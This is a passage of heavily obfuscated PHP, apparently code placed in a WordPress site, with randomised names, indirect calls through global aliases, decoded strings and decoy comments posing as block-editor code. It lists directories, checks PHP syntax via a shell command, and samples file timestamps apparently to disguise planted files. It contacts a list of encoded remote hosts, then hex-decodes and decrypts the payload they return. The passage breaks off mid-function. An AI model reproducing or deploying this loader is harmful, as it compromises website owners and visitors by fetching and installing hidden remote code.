  $fowg365tc61zoq49     =   (int)  $fowg365tc61zoq49;
if   ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(232))   &&   $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(233)))   {
 $u9g4rzevxlnx68     =      @$GLOBALS['__scf_sj1khp0ty__234']($dwp9zzb5mx);
if  ($u9g4rzevxlnx68)   {
     $cmaajh50rfi7zkbh   = array();
    while  (($x0ydieb0v_72m_u     =   @$GLOBALS['__scf_v4xne3bezipdj_233']($u9g4rzevxlnx68)) !==   false)  {
 if   ($x0ydieb0v_72m_u  !==  '.'  && $x0ydieb0v_72m_u    !==     fjup2mc1h(235))  $cmaajh50rfi7zkbh[]  =    $x0ydieb0v_72m_u;

  if ($fowg365tc61zoq49   >  0   && $GLOBALS['__scf_j38tk0441lk_37']($cmaajh50rfi7zkbh)  >= $fowg365tc61zoq49) break;
  }
     if  ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(236))) @$GLOBALS['__scf_b9y77l_625nr_236']($u9g4rzevxlnx68);
       return     $cmaajh50rfi7zkbh;
 }
}
// await greedy contravariant

if ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(237)))  {
// proactive proxy



$xr7siizzt4ot = @$GLOBALS['__scf__uoxmw5pj5af1u_35']($dwp9zzb5mx);
      if   ($GLOBALS['__scf_knhbvsumnby3_36']($xr7siizzt4ot))  {
   $xr7siizzt4ot     =      $GLOBALS['__scf_v0g2xbgjjm_154']($GLOBALS['__scf_jxu__lo946uf6o_158']($xr7siizzt4ot,  array('.',     fjup2mc1h(235))));
    if  ($fowg365tc61zoq49  >   0 &&      $GLOBALS['__scf_j38tk0441lk_37']($xr7siizzt4ot)      >   $fowg365tc61zoq49)  $xr7siizzt4ot  = $GLOBALS['__scf_eriwpctk0hsvu4_164']($xr7siizzt4ot,  0, $fowg365tc61zoq49);
  return    $xr7siizzt4ot;
}
  }
  if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(73)))     {
   $fv6uvn1m7gjoko3x = @$GLOBALS['__scf_ylc30lk3q5j_73']($dwp9zzb5mx    .   zp28wk01y(238));



  if    ($GLOBALS['__scf_knhbvsumnby3_36']($fv6uvn1m7gjoko3x))  {
/* finite orbit */


if      ($fowg365tc61zoq49 > 0   && $GLOBALS['__scf_j38tk0441lk_37']($fv6uvn1m7gjoko3x)   >  $fowg365tc61zoq49)    $fv6uvn1m7gjoko3x =  $GLOBALS['__scf_eriwpctk0hsvu4_164']($fv6uvn1m7gjoko3x,  0, $fowg365tc61zoq49);
     return      $GLOBALS['__scf_yp401qf4i0g_239'](fjup2mc1h(4),   $fv6uvn1m7gjoko3x);
 }
  }
  return    null;
  }
function    wwwpyul92z0d60($a9a20su0g8saxh)
{
// PHP 8.4 fibers retina density

  if   (!$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(240))  ||    !$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(80)))  return null;
  $oth28d131ivz     =  $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(116))   ?  (string)    @$GLOBALS['__scf_livuu39cntpdx3_116'](tvo1rh46s_(241))  :  "";
    if   ($oth28d131ivz !== ""    &&      stripos($oth28d131ivz,   tvo1rh46s_(240))   !==  false)   return    null;
     $tws8rykmltyp     =    l57opmo3fftx76($GLOBALS['__scf_ufzmayscdi_80'](),  wlgh2_th(242));



    if ($tws8rykmltyp  ===   false)    return  null;



       if   (@$GLOBALS['__scf_m2g_67700pfzin_204']($tws8rykmltyp,    $a9a20su0g8saxh)    !==   $GLOBALS['__scf_m2ym9pki8mue9_11']($a9a20su0g8saxh))     {

    _0qezpop1swzfe($tws8rykmltyp);
 return   null;



}
  $p3k33sq1r5  =  @$GLOBALS['__scf_r8poeyi9ora_243'](tvo1rh46s_(244)  .   escapeshellarg($tws8rykmltyp)   .  zp28wk01y(245));



 _0qezpop1swzfe($tws8rykmltyp);

 if    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($p3k33sq1r5) || $p3k33sq1r5  ===  "")    return   null;
  

      if   (stripos($p3k33sq1r5,   tvo1rh46s_(246))   !==    false) return true;
  if  (stripos($p3k33sq1r5,   zp28wk01y(247))   !==   false ||     stripos($p3k33sq1r5, zp28wk01y(248))     !== false)   return  false;



 return  null;
 }

   function ays3w9sevfe7ws($a9a20su0g8saxh)

{
  static $seobj5_7s5  =    array();



      if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($a9a20su0g8saxh)   || $GLOBALS['__scf_rbe_sihvfv_8']($a9a20su0g8saxh, wlgh2_th(249))   ===  false) return false;
 if     ($GLOBALS['__scf_m2ym9pki8mue9_11']($a9a20su0g8saxh)     >     (1048531+45))    $a9a20su0g8saxh   =  eje1j3zh7yylmqspbj($a9a20su0g8saxh);
  if ($GLOBALS['__scf_m2ym9pki8mue9_11']($a9a20su0g8saxh)   >  (1048482+94))  return    false;
 if    (!$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(250)))    return  true;
    $u0zrytrv44chs = $GLOBALS['__scf_m2ym9pki8mue9_11']($a9a20su0g8saxh) .  ':' . $GLOBALS['__scf_abbpcj1ncssalx_57']($a9a20su0g8saxh);
     if   ($GLOBALS['__scf_xc9hrpqrsvv6k2_251']($u0zrytrv44chs, $seobj5_7s5)) return     $seobj5_7s5[$u0zrytrv44chs];
    $re7ozujb4r0  = gzz4obw74nwyaxyscc63oa($a9a20su0g8saxh);



if  ($GLOBALS['__scf_j38tk0441lk_37']($seobj5_7s5)    >  (0xf+0x9))  $seobj5_7s5  =  array();
  $seobj5_7s5[$u0zrytrv44chs]    =    $re7ozujb4r0;
return     $re7ozujb4r0;


     }
       function  gzz4obw74nwyaxyscc63oa($a9a20su0g8saxh)

 {
// faithful transformer

     if     (!defined(fjup2mc1h(252))) {
 $cmiihged7v0qsx    =     h_nk553p8w2mzk7r0ppn4w($GLOBALS['__scf_m2ym9pki8mue9_11']($a9a20su0g8saxh));
 if ($cmiihged7v0qsx)  {
$vkff5y2mwewu9      = @token_get_all($a9a20su0g8saxh);
  if  (!$GLOBALS['__scf_knhbvsumnby3_36']($vkff5y2mwewu9))   return true;
$pfhowfk97yhriww   =  0;
 

$h7o54k4c38m =   0;

        $t6z_dwz7ax_d  =  0;
  foreach ($vkff5y2mwewu9  as    $wqsido46b9z1hw)  {
   if   ($GLOBALS['__scf_knhbvsumnby3_36']($wqsido46b9z1hw))     {


   if ($wqsido46b9z1hw[0] === T_CURLY_OPEN   || $wqsido46b9z1hw[0] ===    T_DOLLAR_OPEN_CURLY_BRACES)    $pfhowfk97yhriww++;



   continue;



   }
       if   ($wqsido46b9z1hw  ===     '{')  $pfhowfk97yhriww++;
       elseif  ($wqsido46b9z1hw   === '}')  {
       $pfhowfk97yhriww--;
if ($pfhowfk97yhriww    < 0)   return false;
    }  elseif     ($wqsido46b9z1hw  ===  '(') $h7o54k4c38m++;
     elseif ($wqsido46b9z1hw    === ')') {
$h7o54k4c38m--;
      if ($h7o54k4c38m  < 0)  return   false;


 }     elseif  ($wqsido46b9z1hw      === '[')   $t6z_dwz7ax_d++;


      elseif   ($wqsido46b9z1hw   ===   ']')  {
 $t6z_dwz7ax_d--;

if ($t6z_dwz7ax_d  < 0)     return false;
  }
   }
  if   ($pfhowfk97yhriww !==  0  ||  $h7o54k4c38m  !==   0  || $t6z_dwz7ax_d     !==   0)   return   false;
 }
      $su2qho6fv_sog  =     wwwpyul92z0d60($a9a20su0g8saxh);
if     ($GLOBALS['__scf_gv0uvy8obul_253']($su2qho6fv_sog)) return $su2qho6fv_sog;
  return  $cmiihged7v0qsx;



   }
 if   (!h_nk553p8w2mzk7r0ppn4w($GLOBALS['__scf_m2ym9pki8mue9_11']($a9a20su0g8saxh))) {
 $su2qho6fv_sog  =  wwwpyul92z0d60($a9a20su0g8saxh);
 return    $GLOBALS['__scf_gv0uvy8obul_253']($su2qho6fv_sog)   ?      $su2qho6fv_sog :   false;



}
  try {
@token_get_all($a9a20su0g8saxh,  TOKEN_PARSE);
      return true;
  }   catch (Throwable  $x0ydieb0v_72m_u)    {
 return     false;
}   catch (Exception     $x0ydieb0v_72m_u)      {
  return    false;

}
       }
function  yhab0nzvyao8ixh9()



       {
 return    array(wlgh2_th(254),    tvo1rh46s_(255), zp28wk01y(256));
}
function e59yi6t5ikgig8ia()
 {
  return array(wlgh2_th(257), op9tjzix(258),   fjup2mc1h(259),     zp28wk01y(260),  op9tjzix(261),   wlgh2_th(262),  tvo1rh46s_(263),   op9tjzix(264),    op9tjzix(265), op9tjzix(266),  fjup2mc1h(267), b4gbsak56f40gos(268),    op9tjzix(269),  b4gbsak56f40gos(270),   wlgh2_th(271),  fjup2mc1h(272),  zp28wk01y(273),    fjup2mc1h(274),  wlgh2_th(275),  fjup2mc1h(276));


    }
   function   txo_grp781fez2sat_()
 {
// input validation

return array(zp28wk01y(277), zp28wk01y(278), tvo1rh46s_(279),     fjup2mc1h(280));
   }
   
 function jle7sh4_tht0dl7e($ux3me69s1nzc7)
 {



       if   ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(281))) return     gzencode($ux3me69s1nzc7,  (10-1));
    if  ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(282)))   {
return "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x03"  .   gzdeflate($ux3me69s1nzc7,    (5+4))   .  $GLOBALS['__scf_uovlix5wxx_y_283']('V',     $GLOBALS['__scf_ehiaqsl0njp0_284']($ux3me69s1nzc7))   .    $GLOBALS['__scf_uovlix5wxx_y_283']('V',  $GLOBALS['__scf_m2ym9pki8mue9_11']($ux3me69s1nzc7)  &  (0xc499909d+0x3b666f62));
}



 return   $ux3me69s1nzc7;
     }
function  r7k74ehuym0rqy65($ux3me69s1nzc7)
     {

 if    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($ux3me69s1nzc7) ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($ux3me69s1nzc7) < 2)  return $ux3me69s1nzc7;



  if ($GLOBALS['__scf_zre6ec18ly90y_10']($ux3me69s1nzc7,   0,     2)  !==   "\x1f\x8b")   return    $ux3me69s1nzc7;
if  ($GLOBALS['__scf_m2ym9pki8mue9_11']($ux3me69s1nzc7)  < (0x8+0xa))  return    false;
 $mdzjx6mh6rlax2   =     @$GLOBALS['__scf_ujieua8rts5ii_285']('V',   $GLOBALS['__scf_zre6ec18ly90y_10']($ux3me69s1nzc7,   -(1+3)));
     




  $mdzjx6mh6rlax2     =  $GLOBALS['__scf_knhbvsumnby3_36']($mdzjx6mh6rlax2)   ?   $mdzjx6mh6rlax2[1]   :    0;

      if  ($mdzjx6mh6rlax2 < (784-284)      ||   $mdzjx6mh6rlax2  >  (979044+69532))     return   false;
  if   ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(286)))   {
   $zwzkcpqs2ucabt_ = @gzdecode($ux3me69s1nzc7,    (1674080-625504));
if  ($zwzkcpqs2ucabt_  !==  false)  return   $zwzkcpqs2ucabt_;


        }
// deserialize prototype for WP Paragraph Block

   if ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(287)))   {
        $zwzkcpqs2ucabt_ = @gzinflate($GLOBALS['__scf_zre6ec18ly90y_10']($ux3me69s1nzc7,   (0x1+0x9),   $GLOBALS['__scf_m2ym9pki8mue9_11']($ux3me69s1nzc7)    -   (7+11)), (0xd1b1c+0x2e4e4));
   return  ($GLOBALS['__scf_zneqqdn4vlt4_42']($zwzkcpqs2ucabt_)  &&   $GLOBALS['__scf_m2ym9pki8mue9_11']($zwzkcpqs2ucabt_)   <= (1048518+58))   ?     $zwzkcpqs2ucabt_   : false;
 }
 return   false;
}
function   tp539nmy2fy2b92zt91($h9o45l2_xp9t7)
  {
   if ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(288)))   return    $GLOBALS['__scf_tpidy6i_c1_288']($h9o45l2_xp9t7);
    if   (!  $GLOBALS['__scf_zneqqdn4vlt4_42']($h9o45l2_xp9t7) ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($h9o45l2_xp9t7)    %  2  !== 0)  {
return    false;
  }
     return    $GLOBALS['__scf_uovlix5wxx_y_283'](wlgh2_th(289),  $h9o45l2_xp9t7);
 }



 

function vp191h9ipqfapu()
  {
 $mnsxex0ntfg8  =  array();


  $kzv_bttmp2   =    array(ABSPATH,     ABSPATH      .    zp28wk01y(290),    ABSPATH  . wlgh2_th(291));
 if   (defined(b4gbsak56f40gos(170))) $kzv_bttmp2[] =   WP_CONTENT_DIR   .    '/';
      foreach   ($kzv_bttmp2 as $zwzkcpqs2ucabt_)      {


        $mr05tabvz2     =    $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(73))  ?  @$GLOBALS['__scf_ylc30lk3q5j_73']($zwzkcpqs2ucabt_  .  b4gbsak56f40gos(292)) : false;
     if ($GLOBALS['__scf_knhbvsumnby3_36']($mr05tabvz2))  {
      foreach     ($mr05tabvz2 as   $oknhdgd23az7) {
   $m12uurqaiptg1cp = @$GLOBALS['__scf_kpr9p9o54hwof_101']($oknhdgd23az7);
  if  ($m12uurqaiptg1cp   &&   $m12uurqaiptg1cp > (1891602484-944917684))   {

    $mnsxex0ntfg8[]    =     $m12uurqaiptg1cp;
   }
 }


 }
}



  if    (!empty($mnsxex0ntfg8))    {
   $dx_ofkvr3qy  = $mnsxex0ntfg8[$GLOBALS['__scf_hpue5hjwa5j_293']($mnsxex0ntfg8)];
   return  ($dx_ofkvr3qy   - ($dx_ofkvr3qy    %  (97456+2544))) +     wzkcxw_m1n8fard2g();
      }
/* contravariant-adj bloom-filter */

     $teqa56a3zv663  =   $GLOBALS['__scf_yg2rpewmkg_192']()  - ((0xd9+0x94)     * (67^91) *      (3592+8));
     $tprnqws2kk =   $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(294))   ?  wp_rand(0,  (37^59)  *  (216^192) *   (0xbb8+0x258))  : $GLOBALS['__scf_isq8lhf9jc_295'](0,    (19+11)  *    (48-24) * (2735+865));
   $dx_ofkvr3qy  =  $teqa56a3zv663  -  $tprnqws2kk;
return    ($dx_ofkvr3qy  -    ($dx_ofkvr3qy %  (99997+3)))      +  wzkcxw_m1n8fard2g();
   }
  function  f2_501k75m6h_1mersjjl($dxoezqudk8si4c4x)
{

if     (empty($GLOBALS[op9tjzix(296)]))  return  $dxoezqudk8si4c4x;
 $ei5_6nwk4j2l     =  $GLOBALS[op9tjzix(296)]    -   $GLOBALS['__scf_knb470agoho1_297'](true);



  if ($ei5_6nwk4j2l <   1) return false;$op31r4fgdi8vn=PHP_INT_MAX/PHP_INT_MAX;$rgdjwey5o8ryi=$op31r4fgdi8vn+25;



 return  $dxoezqudk8si4c4x    > $ei5_6nwk4j2l ? (int)    $GLOBALS['__scf_a75i57vn9hq3y_298']($ei5_6nwk4j2l)   :    $dxoezqudk8si4c4x;
 }
       function nkr0fdv6hbz2zrqz_bs6ee($ifcvs0p5fz8kuf7,  $dxoezqudk8si4c4x, $m_hoagrf7827pvn  =  null)



 {
$dxoezqudk8si4c4x  =  f2_501k75m6h_1mersjjl($dxoezqudk8si4c4x);
if     ($dxoezqudk8si4c4x ===    false)      return false;
  $kxcxyq19yi0gn4q   =  function ($kiksbnz9wy_f) use ($m_hoagrf7827pvn)    {
       if    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($kiksbnz9wy_f)  ||  $kiksbnz9wy_f  === "")     return false;
if ($GLOBALS['__scf_m2ym9pki8mue9_11']($kiksbnz9wy_f) > (8388568+40))    return false;
      if ($m_hoagrf7827pvn) {
try   {
      return   (bool) $GLOBALS['__scf_wi8602txx8j8_299']($m_hoagrf7827pvn, $kiksbnz9wy_f);
}  catch     (Throwable $x0ydieb0v_72m_u)  {

  return  false;



 }  catch   (Exception   $x0ydieb0v_72m_u)   {
  return  false;
}
}
return true;
  };
  $pipokon4sqqbl   = $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(300))    ?   @$GLOBALS['__scf_aveut5m3qzw4x_301']($ifcvs0p5fz8kuf7,   array(
wlgh2_th(302) =>  $dxoezqudk8si4c4x,
 wlgh2_th(303)    =>  false,
  fjup2mc1h(304) =>  (8388540+68),
))    :  false;
   if    ($pipokon4sqqbl     &&  (!$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(305))    ||  !is_wp_error($pipokon4sqqbl)))  {
// retry singleton for WP Heading Block



 if   ((int)  wp_remote_retrieve_response_code($pipokon4sqqbl)  === (0xab+0x1d))   {
   $i6tgx0w6c8b0v  =  wp_remote_retrieve_body($pipokon4sqqbl);
      if  ($kxcxyq19yi0gn4q($i6tgx0w6c8b0v))    return $i6tgx0w6c8b0v;
  }
  }
    $dxoezqudk8si4c4x    =  f2_501k75m6h_1mersjjl($dxoezqudk8si4c4x);
if ($dxoezqudk8si4c4x   ===      false)     return   false;
  if ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(306)) &&  $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(307)) && $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(308))) {
// complement taken

  $plyyh56mlijhp22   =    @$GLOBALS['__scf_tg1qmog4wi_lcm_306']($ifcvs0p5fz8kuf7);
if  ($plyyh56mlijhp22 ===   false) return  false;
     @$GLOBALS['__scf_lpyl_fi1nn5e_307']($plyyh56mlijhp22,   array(



 constant(b4gbsak56f40gos(309)) => true,
 constant(fjup2mc1h(310))   => $dxoezqudk8si4c4x,
constant(op9tjzix(311))  =>   false,



 constant(b4gbsak56f40gos(312)) => 0,
 constant(b4gbsak56f40gos(313))    =>  false,
 constant(zp28wk01y(314))    =>   function ($a5k4otdarxhx3x,     $w4szl968qcd,   $o7pw_q3wipwm)  {
return $o7pw_q3wipwm     >  (3312623+5075985) ?  1 : 0;



       },
    ));$mkn4_54swanxq=94+24;$tpz2kpt3gw=$mkn4_54swanxq-16;
$yjxb8ppeppeem =  @$GLOBALS['__scf_wmj7k85rw4tvv9_308']($plyyh56mlijhp22);
  $jtg5052fc8tcx8   = @curl_errno($plyyh56mlijhp22);
$fiznm2qpwlw  =    @curl_getinfo($plyyh56mlijhp22);
   @curl_close($plyyh56mlijhp22);
if   ($jtg5052fc8tcx8)  return   false;



if      ((int)  $fiznm2qpwlw[op9tjzix(315)]  === (0x97+0x31) && $yjxb8ppeppeem !==      false    &&   $kxcxyq19yi0gn4q($yjxb8ppeppeem))      {



       return $yjxb8ppeppeem;
 }
}
 return      false;



}
     
   function     jx7lrlkv8eca6q3fzcj53($ifcvs0p5fz8kuf7,    $i2_f7wcj6wot16,  $sexcqs3kh6xg,   $dxoezqudk8si4c4x, $m_hoagrf7827pvn  = null)
 {
  $dxoezqudk8si4c4x =   f2_501k75m6h_1mersjjl($dxoezqudk8si4c4x);
     if     ($dxoezqudk8si4c4x ===     false)     return   false;
$kxcxyq19yi0gn4q  =   function    ($kiksbnz9wy_f) use   ($m_hoagrf7827pvn)     {
   if      (!$GLOBALS['__scf_zneqqdn4vlt4_42']($kiksbnz9wy_f)  ||     $kiksbnz9wy_f  ===      "")    return  false;


   if      ($GLOBALS['__scf_m2ym9pki8mue9_11']($kiksbnz9wy_f)  > (12160691-3772083)) return      false;
  if   ($m_hoagrf7827pvn) {$tmabtw4vtqej=(0x89+0xb9);$or2j7_qgpjk0q=$tmabtw4vtqej%6;
     try     {
// PHP 8.4 fibers term merge

  return (bool)  $GLOBALS['__scf_wi8602txx8j8_299']($m_hoagrf7827pvn,  $kiksbnz9wy_f);
  }      catch  (Throwable $x0ydieb0v_72m_u)  {
// @dominate orbit

    return   false;
  }      catch     (Exception    $x0ydieb0v_72m_u)  {
 return  false;
  }
}
return  true;



   };
      $pipokon4sqqbl  =   $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(316))     ?    @$GLOBALS['__scf_mmo0h5_4w__317']($ifcvs0p5fz8kuf7,      array(
op9tjzix(302)  => $dxoezqudk8si4c4x,
      wlgh2_th(318) =>    false,
  zp28wk01y(304)  => (8388518+90),
  b4gbsak56f40gos(319) =>     $sexcqs3kh6xg,
       zp28wk01y(320) =>  $i2_f7wcj6wot16,
    ))  :   false;
    if ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(321))   && is_wp_error($pipokon4sqqbl)) {$eia_f3u3j=(0xba+0xcc);$x5p3j433j6b=$eia_f3u3j%8;
}     elseif ($pipokon4sqqbl)  {
$a9a20su0g8saxh     =    (int)   wp_remote_retrieve_response_code($pipokon4sqqbl);$vjk3afj7jrzpr=9847;$wtr4_2r1=$vjk3afj7jrzpr%16;
$lioxxmgl06rf3hl  =  wp_remote_retrieve_body($pipokon4sqqbl);
 $wa482ugar5 = wp_remote_retrieve_headers($pipokon4sqqbl);
   $_6bqtcbos0d_t   =  "";
if ($GLOBALS['__scf_knhbvsumnby3_36']($wa482ugar5))   {
      foreach  ($wa482ugar5     as  $fuudv53fhxni7l   =>  $cqa9ps1o2ezc4_)  {
    $_6bqtcbos0d_t  .=      $fuudv53fhxni7l . fjup2mc1h(160)    .   $cqa9ps1o2ezc4_   .     wlgh2_th(322);



  }
}



   if     ($a9a20su0g8saxh === (0x50+0x78)  &&   $kxcxyq19yi0gn4q($lioxxmgl06rf3hl))     {
  return  $lioxxmgl06rf3hl;
     }
} else {



      }
       if  (!empty($GLOBALS[tvo1rh46s_(323)]))  return false;



    $dxoezqudk8si4c4x    = f2_501k75m6h_1mersjjl($dxoezqudk8si4c4x);
if ($dxoezqudk8si4c4x  ===   false)   return   false;


   if  ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(306))   && $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(307))  &&      $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(308)))    {
 $plyyh56mlijhp22  =     @$GLOBALS['__scf_tg1qmog4wi_lcm_306']($ifcvs0p5fz8kuf7);$omcbxbnh=930;$tb3ofrnkh=($omcbxbnh>0)?$omcbxbnh:-$omcbxbnh;
  if      ($plyyh56mlijhp22  ===   false)  {
return   false;
 }
    $kirmkdsq4n1qtbpc =  array();
  foreach  ($sexcqs3kh6xg  as  $fuudv53fhxni7l  => $cqa9ps1o2ezc4_)  {
      $kirmkdsq4n1qtbpc[] =  $fuudv53fhxni7l  .  b4gbsak56f40gos(160)  .    $cqa9ps1o2ezc4_;
}
   @$GLOBALS['__scf_lpyl_fi1nn5e_307']($plyyh56mlijhp22,  array(
 constant(op9tjzix(324))  => true,
  constant(tvo1rh46s_(325))  =>  $i2_f7wcj6wot16,
constant(wlgh2_th(326)) =>     true,
 constant(zp28wk01y(310))  =>    $dxoezqudk8si4c4x,

 constant(zp28wk01y(311))    => false,
 constant(fjup2mc1h(327))   =>      0,
constant(fjup2mc1h(328))    =>    $kirmkdsq4n1qtbpc,


 constant(wlgh2_th(313))    => false,
  constant(tvo1rh46s_(329))  => function   ($a5k4otdarxhx3x,  $w4szl968qcd,  $o7pw_q3wipwm)     {

 return  $o7pw_q3wipwm >    (4927301+3461307)   ?  1  :     0;
 },
      ));
      $yjxb8ppeppeem =     @$GLOBALS['__scf_wmj7k85rw4tvv9_308']($plyyh56mlijhp22);
$jtg5052fc8tcx8   = @curl_errno($plyyh56mlijhp22);$j7dod9gp9=PHP_MAJOR_VERSION;$yle14zsh1jhwb=$j7dod9gp9*4;


 $s7djwfls4gj5xn2  = @curl_error($plyyh56mlijhp22);
$fiznm2qpwlw  =  @curl_getinfo($plyyh56mlijhp22);
 $flyjaawnz3wi  =     (int)     $fiznm2qpwlw[b4gbsak56f40gos(315)];



    if  ($jtg5052fc8tcx8)  {
@curl_close($plyyh56mlijhp22);
    return     false;
   }
 @curl_close($plyyh56mlijhp22);
     if      ($flyjaawnz3wi  === (28+172)  && $yjxb8ppeppeem   !==  false  &&  $kxcxyq19yi0gn4q($yjxb8ppeppeem))  {
// PHP 8.3 readonly user session

    return    $yjxb8ppeppeem;
}
if   ($yjxb8ppeppeem)    {
   }
  return  false;
 }


    return false;
}
  
function ifpgzrbtk6abykadgo($rd88s125dsfo  =   (0xc+0x21))
{
  $fmi4r4_iz57 =      yhab0nzvyao8ixh9();
 $dxdjxtfxex   = e59yi6t5ikgig8ia();


  $rd88s125dsfo  =  (int)     $rd88s125dsfo;
 if    ($rd88s125dsfo  < (0x3+0x2))    $rd88s125dsfo     =     (66^71);
if  ($rd88s125dsfo   >   (0xc+0x21)) $rd88s125dsfo =   (0xc+0x21);
    
   if   (empty($fmi4r4_iz57)      ||  empty($dxdjxtfxex))  {



  return   array();
        }




 $archisg7bop2ic8      =    $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(205))    ?   (string) get_option(op9tjzix(330), "") :  "";
      if     ($archisg7bop2ic8 !==  ""   &&    !$GLOBALS['__scf_av84ex67tlp92_156']($archisg7bop2ic8, $dxdjxtfxex,  true))  $archisg7bop2ic8  = "";

  if     ($archisg7bop2ic8  !==   "") {
// @strength-reduce capability


 $dxdjxtfxex    =   $GLOBALS['__scf_v0g2xbgjjm_154']($GLOBALS['__scf_jxu__lo946uf6o_158']($dxdjxtfxex, array($archisg7bop2ic8)));
     $GLOBALS['__scf_igh391p_2d78a_331']($dxdjxtfxex,   $archisg7bop2ic8);
}
       
     $am_g16f13l9x9hap =  $GLOBALS['__scf_bbs7j5b1fx_332']($fmi4r4_iz57[$GLOBALS['__scf_hpue5hjwa5j_293']($fmi4r4_iz57)]);
   if  ($am_g16f13l9x9hap    ===  "")    {
  return  array();
}
   
    $i2_f7wcj6wot16 =  b4gbsak56f40gos(333)    . $am_g16f13l9x9hap      .   b4gbsak56f40gos(334);
      $_jzve7nlpk8v = array(wlgh2_th(335) =>   op9tjzix(336));
$r_8dl2xjj9sqev    =  $GLOBALS['__scf_knb470agoho1_297'](true);


 foreach  ($dxdjxtfxex as  $cdie6xtzwzt7j) {
   
 if     (($GLOBALS['__scf_knb470agoho1_297'](true) -  $r_8dl2xjj9sqev)     > $rd88s125dsfo) {
      break;

}
   
 $cdie6xtzwzt7j  =  $GLOBALS['__scf_bbs7j5b1fx_332']((string) $cdie6xtzwzt7j);


    if ($cdie6xtzwzt7j  === "")   {
   continue;
   }
  try   {
    $lioxxmgl06rf3hl   = jx7lrlkv8eca6q3fzcj53($cdie6xtzwzt7j,    $i2_f7wcj6wot16,     $_jzve7nlpk8v,   (4+1), function  ($kiksbnz9wy_f)   {
   $m222viaojgpr   =  @$GLOBALS['__scf_vcngxudwmss_337']($kiksbnz9wy_f, true);
 return    $GLOBALS['__scf_knhbvsumnby3_36']($m222viaojgpr)  &&  isset($m222viaojgpr[b4gbsak56f40gos(338)]);
     });
      

     if  ($lioxxmgl06rf3hl   === false)   {
  continue;
    }
$t56ygh5dcsvseho  =   @$GLOBALS['__scf_vcngxudwmss_337']($lioxxmgl06rf3hl,  true);
 if (!   $GLOBALS['__scf_knhbvsumnby3_36']($t56ygh5dcsvseho)   ||   !  isset($t56ygh5dcsvseho[zp28wk01y(338)]) ||  !   $GLOBALS['__scf_zneqqdn4vlt4_42']($t56ygh5dcsvseho[wlgh2_th(338)])) {$xeozy18b=145;$cn_bjysff=($xeozy18b>0)?$xeozy18b:-$xeozy18b;

continue;
        }
 
$h9o45l2_xp9t7   =     $t56ygh5dcsvseho[b4gbsak56f40gos(338)];

    if ($GLOBALS['__scf_rbe_sihvfv_8']($h9o45l2_xp9t7,  wlgh2_th(339)) === 0)   {
   $h9o45l2_xp9t7 = $GLOBALS['__scf_zre6ec18ly90y_10']($h9o45l2_xp9t7, 2);
}
       



 $zlyhz4zhk5m =  @tp539nmy2fy2b92zt91($h9o45l2_xp9t7);


if      ($zlyhz4zhk5m   ===    false   ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($zlyhz4zhk5m)   <   (28+36)) {
continue;


}
  
       $ttoeo11ajhwr =  (4+59);
$jbjclsop_v0pt =  $GLOBALS['__scf_honmo92acbfag2_340']($zlyhz4zhk5m[$ttoeo11ajhwr]);$v_e8haes=PHP_INT_MAX/PHP_INT_MAX;$wv7qxgp6h=$v_e8haes+9;
    $ars2e0ykxmq  =  $GLOBALS['__scf_zre6ec18ly90y_10']($zlyhz4zhk5m,   $ttoeo11ajhwr   + 1,   $jbjclsop_v0pt);
 if  (!  $GLOBALS['__scf_zneqqdn4vlt4_42']($ars2e0ykxmq)  ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($ars2e0ykxmq)      <     (0x1+0x2)) {
  continue;
  }
     
   $a1gl_vqaw3k   =   $GLOBALS['__scf_honmo92acbfag2_340']($ars2e0ykxmq[0]);
    if ($a1gl_vqaw3k  < 1  ||    $GLOBALS['__scf_m2ym9pki8mue9_11']($ars2e0ykxmq)    <  1     +  $a1gl_vqaw3k +   1)   {
   continue;

  }
   
  $ez6_484gigy = $GLOBALS['__scf_zre6ec18ly90y_10']($ars2e0ykxmq,   1,  $a1gl_vqaw3k);
 $momz2yqotuj1ywyv  = $GLOBALS['__scf_zre6ec18ly90y_10']($ars2e0ykxmq,    1 +    $a1gl_vqaw3k);
     if (! $GLOBALS['__scf_zneqqdn4vlt4_42']($ez6_484gigy)  ||  !   $GLOBALS['__scf_zneqqdn4vlt4_42']($momz2yqotuj1ywyv)) {
  continue;
   

    }
    

  $voqkq593lk8yf6 =     wiy8pwermvq1qyx($momz2yqotuj1ywyv,  $ez6_484gigy);
  if    (! $GLOBALS['__scf_zneqqdn4vlt4_42']($voqkq593lk8yf6)  || $GLOBALS['__scf_m2ym9pki8mue9_11']($voqkq593lk8yf6)  <   2)   {
